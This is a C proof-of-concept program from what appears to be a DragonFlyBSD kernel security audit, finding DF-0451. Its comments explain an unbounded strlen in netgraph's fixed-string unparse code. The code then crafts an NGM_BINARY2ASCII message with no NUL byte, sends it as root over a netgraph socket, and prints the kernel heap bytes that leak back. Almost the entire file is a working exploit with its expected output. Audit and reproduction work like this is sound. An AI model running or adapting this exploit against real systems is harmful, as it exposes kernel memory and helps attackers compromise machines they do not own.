DragonFlyBSD Kernel Audit
DF-0451 / ng_fixedstring_oob.c
← back to finding ↓ download raw
/*
 * DF-0451 — ng_fixedstring_unparse -> ng_string_unparse unbounded strlen()
 *                                  OOB kernel heap read.
 *
 * Mechanism (root-only path via PF_NETGRAPH control socket):
 *   The fixed-string parse types (NG_NODESIZ, NG_HOOKSIZ, NG_PATHSIZ,
 *   NG_TYPESIZ, NG_CMDSTRSIZ) all use ng_parse_fixedstring_type whose unparse
 *   method (ng_parse.c:785-796) calls ng_string_unparse on the field with NO
 *   bound.  ng_string_unparse does strlen(raw) (ng_parse.c:727) which keeps
 *   scanning past the bufSize bytes into whatever follows in the kernel
 *   allocation -- adjacent struct fields, then off the end into heap.
 *
 *   Trigger: send NGM_BINARY2ASCII to "." with an inner ng_mesg whose:
 *       header.typecookie = NGM_GENERIC_COOKIE
 *       header.cmd        = NGM_NODEINFO
 *                          (respType = ng_generic_nodeinfo_type, a struct with
 *                           two fixedstring fields: name[NG_NODESIZ=32],
 *                           type[NG_TYPESIZ=32])
 *       header.flags      = NGF_RESP          (so respType is selected)
 *       header.arglen     = sizeof(struct nodeinfo) (= 72 bytes)
 *       data              = 72 bytes of 'E' (no NUL anywhere)
 *
 *   ng_base.c:1562 calls ng_unparse(nodeinfo_type, binary->data, ...).
 *   ng_unparse_composite processes the struct field-by-field; for "name" it
 *   calls ng_fixedstring_unparse(type=nodebuf, data=binary->data, off=0).
 *   That delegates to ng_string_unparse which does strlen(raw=binary->data+0)
 *   -- with NO NUL in the 72-byte buffer, strlen scans the entire user buffer
 *   and KEEPS GOING into the trailing kmalloc slack / adjacent kernel heap.
 *
 *   The leaked bytes are returned encoded in ascii->data of the response.
 *
 * Trigger requires root: PF_NETGRAPH sockets need root (ng_socket.c). This is
 * a root -> kernel info leak.
 *
 * Reproduction:  build, then as root:
 *      kldload ng_socket.ko
 *      ./ng_fixedstring_oob
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netgraph.h>
#include <netgraph/ng_message.h>

/* NG_NODESIZ and NG_TYPESIZ are both 32 in DragonFly. */
#define FLD_SZ 32

int main(void)
{
    int csock = -1, dsock = -1;
    int rc = 1;

    if (NgMkSockNode(NULL, &csock, &dsock) < 0) {
        fprintf(stderr, "NgMkSockNode failed: %s\n", strerror(errno));
        fprintf(stderr, "(PF_NETGRAPH sockets require root; run as root after "
                        "'kldload ng_socket.ko')\n");
        return 2;
    }

    /*
     * Build the inner ng_mesg.  sizeof(struct nodeinfo) = 32+32+4+4 = 72.
     * Fill ALL 72 bytes with non-NUL ('E') so the fixedstring strlen for
     * "name" reads past name[32] into type[32] / id / hooks and off the end
     * of the user allocation.
     */
    size_t inner_arglen  = FLD_SZ * 2 + 8;        /* 72 */
    size_t inner_total   = sizeof(struct ng_mesg) + inner_arglen;
    struct ng_mesg *inner = calloc(1, inner_total);
    if (!inner) { perror("calloc"); goto out; }

    inner->header.version    = NG_VERSION;
    inner->header.arglen     = inner_arglen;
    inner->header.flags      = NGF_RESP;             /* pick respType */
    inner->header.token      = 0x42424242;
    inner->header.typecookie = NGM_GENERIC_COOKIE;
    inner->header.cmd        = NGM_NODEINFO;          /* respType = nodeinfo struct */

    /* NO NUL in the data area -- forces fixedstring strlen to read past. */
    memset(inner->header.cmdstr, 'C', NG_CMDSTRSIZ);
    memset(inner->data, 'E', inner_arglen);

    if (NgSendMsg(csock, ".", NGM_GENERIC_COOKIE,
                  NGM_BINARY2ASCII, inner, inner_total) < 0) {
        fprintf(stderr, "NgSendMsg failed: %s\n", strerror(errno));
        goto out;
    }

    unsigned char rbuf[8192];
    struct ng_mesg *resp = (struct ng_mesg *)rbuf;
    if (NgRecvMsg(csock, resp, sizeof(rbuf), NULL) < 0) {
        fprintf(stderr, "NgRecvMsg failed: %s\n", strerror(errno));
        goto out;
    }

    struct ng_mesg *ascii = (struct ng_mesg *)resp->data;
    printf("=== NGM_BINARY2ASCII(NGM_NODEINFO/RESP) response ===\n");
    printf("ascii arglen=%u\n", ascii->header.arglen);
    printf("=== ascii->data (struct nodeinfo encoded; OOB bytes appear in "
           "name= and type= strings) ===\n");
    fwrite(ascii->data, 1, ascii->header.arglen, stdout);
    putchar('\n');

    /*
     * The legit output is something like:
     *     name="EEE...E" type="EEE...E" id=0x... hooks=0x...
     * with the two fixedstring fields each containing 32 E's.  strlen() on
     * the name field reads 32 name E's + 32 type E's + 4 id + 4 hooks + off
     * the end into heap, so "name=" will contain MORE than 32 E's.
     */
    char *nameeq = strstr((char *)ascii->data, "name=");
    if (nameeq) {
        char *p = nameeq + 5;        /* skip "name=" */
        if (*p == '"') p++;
        int e_count = 0;
        while (*p == 'E') { e_count++; p++; }
        printf("\n[!] fixedstring name= field strlen read %d 'E' bytes "
               "(bufSize=%d).  ", e_count, FLD_SZ);
        if (e_count > FLD_SZ) {
            printf("OOB READ CONFIRMED: strlen scanned %d bytes past the "
                   "bufSize=%d boundary (DF-0451).\n",
                   e_count - FLD_SZ, FLD_SZ);
        } else if (e_count == FLD_SZ) {
            printf("strlen stopped exactly at bufSize (NUL terminator in "
                   "input) -- no leak this run.\n");
        }
        /* Show the bytes right after the E's: those are post-OOB NUL or
         * other-structure bytes that strlen scanned into. */
        printf("[!] bytes following the 'E' run (still part of strlen's "
               "scan until first NUL):\n    ");
        int shown = 0;
        while (*p && shown < 96) {
            unsigned char c = (unsigned char)*p;
            if (c == '"') { putchar('"'); break; }
            if (c >= 32 && c < 127) putchar(c);
            else printf("\\x%02x", c);
            p++; shown++;
        }
        putchar('\n');
    }

    rc = 0;
out:
    if (csock >= 0) close(csock);
    if (dsock >= 0) close(dsock);
    return rc;
}